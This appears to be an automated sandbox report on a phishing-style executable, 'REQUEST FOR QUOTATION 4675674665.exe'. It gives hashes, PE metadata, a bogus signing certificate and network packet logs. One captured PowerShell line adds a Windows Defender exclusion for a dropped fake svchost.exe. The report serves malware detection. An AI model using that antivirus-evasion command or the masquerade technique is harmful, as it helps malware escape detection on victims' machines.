C:\Users\user\Documents\20210303\PowerShell_transcript.841675.Xbms2G+x.20210303073255.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	5.428042524139006
Encrypted:	false
SSDEEP:	96:BZyj/NXqDo1ZKZMj/NXqDo1ZYjtLjZWj/NXqDo1Z2KbbyZl:d
MD5:	DF975FAABDA1D32076FC846F6E5BACB0
SHA1:	399734679D930234CA65A770F3692C7FD3B61EAC
SHA-256:	EB80B510000E22A9A0B5F0F67C8CDCECFBBAC367944267D252424C7F3DC848ED
SHA-512:	EC18D3D8E6DF01D0E381F043F002D002FD90799324AB4F02C681609CF6B0B2A254E6845263899735BD45EDEC4E23B52F4A10D62729984EF1E9A50539F382691A
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210303073315..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 841675 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe -Force..Process ID: 4296..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210303073315..******************..PS>Add-MpPreference -ExclusionPath C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe -Force..********************..Windows PowerShell transcript start..Start time: 20210303073638..Username: computer\user..RunAs User:

C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe Download File
Process:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	6.005749797315744
Encrypted:	false
SSDEEP:	192:/pCL+uiI8Ate0yb7Y8xgVL4f6+aJS7HChZxPxNpeLEqJ1JUH6800svsCtsmRfBZa:y+ub8VtY8xULh+cSSz/006F0iRtRZh
MD5:	2B813B65A6036FC0FFE198DE47677F05
SHA1:	8D6203E9EF427677B1DA870B649CCF624D1D3AC3
SHA-256:	708085716192C45D0EC7D12BB8A80C617C308EEBC6FAD09DE93B540C41774B4B
SHA-512:	AB3989CB7ABF0E516E8395068DEC8AEE10E0D20E4D7597D6E379423444437AF1A2CD30032543EFAB89D9D29E7D64774B81E7D9A8B510B00971B2C719FE559B17
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 23%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...yX............"...0.............H... ...`....@.. ....................................@..................................H..W....`...............2..0............................................................ ............... ..H............text....(... ..................... ..`.rsrc........`.......,..............@..@.reloc...............0..............@..B.................H......H.......L&..8"...........................................................".(.....Vs!........s"........>..r...p.o%....".(&....Vs....('...t.........B.(?......(.........0..0........s.....+........r...po......(.....(......(......0............(.....+.+.../.....0...........r...p(.....+.+...0.....0..^........s......~....o......#...%..(.....o.......+%+...1...........(....(....o .......X....i2....+......0..!........s.....+...2....o......o#....+......0...........~.....+..*.

C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.005749797315744
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.98% Win32 Executable (generic) a (10002005/4) 49.93% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	REQUEST FOR QUOTATION 4675674665.exe
File size:	18224
MD5:	2b813b65a6036fc0ffe198de47677f05
SHA1:	8d6203e9ef427677b1da870b649ccf624d1d3ac3
SHA256:	708085716192c45d0ec7d12bb8a80c617c308eebc6fad09de93b540c41774b4b
SHA512:	ab3989cb7abf0e516e8395068dec8aee10e0d20e4d7597d6e379423444437af1a2cd30032543efab89d9d29e7d64774b81e7d9a8b510b00971b2c719fe559b17
SSDEEP:	192:/pCL+uiI8Ate0yb7Y8xgVL4f6+aJS7HChZxPxNpeLEqJ1JUH6800svsCtsmRfBZa:y+ub8VtY8xULh+cSSz/006F0iRtRZh
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...yX............"...0..*...........H... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x4048de
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xFABC5879 [Sun Apr 22 01:10:17 2103 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	C=euhVjgbInReGiWqR, S=dfpVtrtblbYaFDkadFnRX, L=uwQObCMXKZwhJWMBmDQOVkpOfOKIrC, T=dQuzTASvnBmIKMLqlMOjQnDLYpDGhNCatkIkVQ, E=uSQsgGLotAioAdnzEuKVolcCOvIwKNsvLAK, OU=bKdijgrbkhvaQmqEvVIYSvCfWHMGAmgPOKBjNZkVFwKc, O=SdYBQsFmVGznaAEKusDuqRnLlmWjrmHRxvIdILchjcz, CN=MPsljqGXhZavtinMbkCvMwXfAXdJOQMtNBL
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	3/2/2021 6:41:11 AM 3/2/2022 6:41:11 AM
Subject Chain	C=euhVjgbInReGiWqR, S=dfpVtrtblbYaFDkadFnRX, L=uwQObCMXKZwhJWMBmDQOVkpOfOKIrC, T=dQuzTASvnBmIKMLqlMOjQnDLYpDGhNCatkIkVQ, E=uSQsgGLotAioAdnzEuKVolcCOvIwKNsvLAK, OU=bKdijgrbkhvaQmqEvVIYSvCfWHMGAmgPOKBjNZkVFwKc, O=SdYBQsFmVGznaAEKusDuqRnLlmWjrmHRxvIdILchjcz, CN=MPsljqGXhZavtinMbkCvMwXfAXdJOQMtNBL
Version:	3
Thumbprint MD5:	FD75D9376CA6E0AAC500DCC1DB2BC7A7
Thumbprint SHA-1:	3BD758AF5BE701FF49B7E3B77035F57CD8ADAE99
Thumbprint SHA-256:	310F95ADEEBC64E947FE81386E19426152D714E2A51A971C9F27BF38525FA70C
Serial:	139C27F61F223BC415702B29DCD9A9A1

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4884	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x3ec	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x3200	0x1530	.text
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x28e4	0x2a00	False	0.512276785714	data	5.44411922977	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x3ec	0x400	False	0.4677734375	data	3.48927950902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8000	0xc	0x200	False	0.044921875	data	0.0815394123432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x6058	0x394	data	English	United States

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
LegalCopyright	2013 set_Action
Assembly Version	7.4.1.1
InternalName	ALTROWSTATUS.exe
FileVersion	2.3.5.8
CompanyName	IsLocalVariableSymbol
LegalTrademarks	ReplaceStrings
Comments	TaskbarClock
ProductName	ALTROWSTATUS
ProductVersion	7.4.1.1
FileDescription	add_LowMemory
OriginalFilename	ALTROWSTATUS.exe
Translation	0x0409 0x0514

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 3, 2021 07:32:35.007751942 CET	49735	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:32:35.048333883 CET	80	49735	151.101.2.133	192.168.2.4
Mar 3, 2021 07:32:35.048629999 CET	49735	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:32:35.049420118 CET	49735	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:32:35.089859962 CET	80	49735	151.101.2.133	192.168.2.4
Mar 3, 2021 07:32:35.090167999 CET	80	49735	151.101.2.133	192.168.2.4
Mar 3, 2021 07:32:35.090183973 CET	80	49735	151.101.2.133	192.168.2.4
Mar 3, 2021 07:32:35.090296030 CET	49735	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:32:35.091224909 CET	49735	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:32:35.134326935 CET	80	49735	151.101.2.133	192.168.2.4
Mar 3, 2021 07:32:35.224600077 CET	49736	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:32:35.265364885 CET	443	49736	151.101.2.133	192.168.2.4
Mar 3, 2021 07:32:35.265542030 CET	49736	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:32:35.275751114 CET	49736	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:32:35.316406012 CET	443	49736	151.101.2.133	192.168.2.4
Mar 3, 2021 07:32:35.316417933 CET	443	49736	151.101.2.133	192.168.2.4
Mar 3, 2021 07:32:35.316428900 CET	443	49736	151.101.2.133	192.168.2.4
Mar 3, 2021 07:32:35.316634893 CET	49736	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:32:35.339217901 CET	49736	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:32:35.379848957 CET	443	49736	151.101.2.133	192.168.2.4
Mar 3, 2021 07:32:36.915577888 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:36.963977098 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:36.964077950 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:36.964546919 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.014564037 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.167886019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.167921066 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.167946100 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.167965889 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.167968988 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.167990923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.168008089 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.168013096 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.168035030 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.168054104 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.168056011 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.168080091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.168095112 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.168101072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.168134928 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.169034004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.169061899 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.169114113 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.170207977 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.170237064 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.170289993 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.171354055 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.171382904 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.171452999 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.172537088 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.172566891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.172631979 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.173722982 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.173753023 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.173803091 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.174864054 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.174890995 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.174931049 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.176023960 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.176050901 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.176110029 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.177186012 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.177213907 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.177268028 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.178355932 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.178381920 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.178430080 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.179519892 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.179553032 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.179615974 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.219125032 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.219160080 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.219281912 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.219574928 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.219599962 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.219840050 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.220773935 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.220805883 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.220849991 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.221931934 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.222507000 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.222534895 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.222569942 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.223675013 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.223701954 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.223737955 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.224834919 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.224863052 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.224886894 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.226026058 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.226053953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.226085901 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.227164030 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.227195978 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.227231026 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.228437901 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.228463888 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.228502035 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.229499102 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.229527950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.229563951 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.230679035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.230710983 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.230745077 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.231848001 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.231877089 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.231898069 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.233006954 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.233035088 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.233062983 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.234193087 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.234217882 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.234260082 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.237229109 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.237258911 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.237301111 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.237776995 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.237803936 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.237831116 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.238959074 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.238987923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.239018917 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.240134001 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.240164042 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.240191936 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.241308928 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.241337061 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.241378069 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.242470980 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.242501974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.242537975 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.243621111 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.243653059 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.243683100 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.244797945 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.244823933 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.244843960 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.245975971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.246001959 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.246023893 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.247131109 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.247159958 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.247181892 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.267621994 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.267656088 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.267700911 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.268120050 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.268151999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.268179893 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.269282103 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.269313097 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.269332886 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.270795107 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.270823956 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.270852089 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.271981955 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.272015095 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.272042990 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.273127079 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.273158073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.273189068 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.274380922 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.274410009 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.274449110 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.275485992 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.275516987 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.275547981 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.276772976 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.276806116 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.276840925 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.277807951 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.277837992 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.277857065 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.278956890 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.278986931 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.279004097 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.280106068 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.280127048 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.280159950 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.281413078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.281439066 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.281476974 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.282490015 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.282514095 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.282551050 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.285542965 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.285567999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.285613060 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.286066055 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.286093950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.286112070 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:37.287292004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.287317991 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:37.287349939 CET	49741	80	192.168.2.4	172.67.179.188
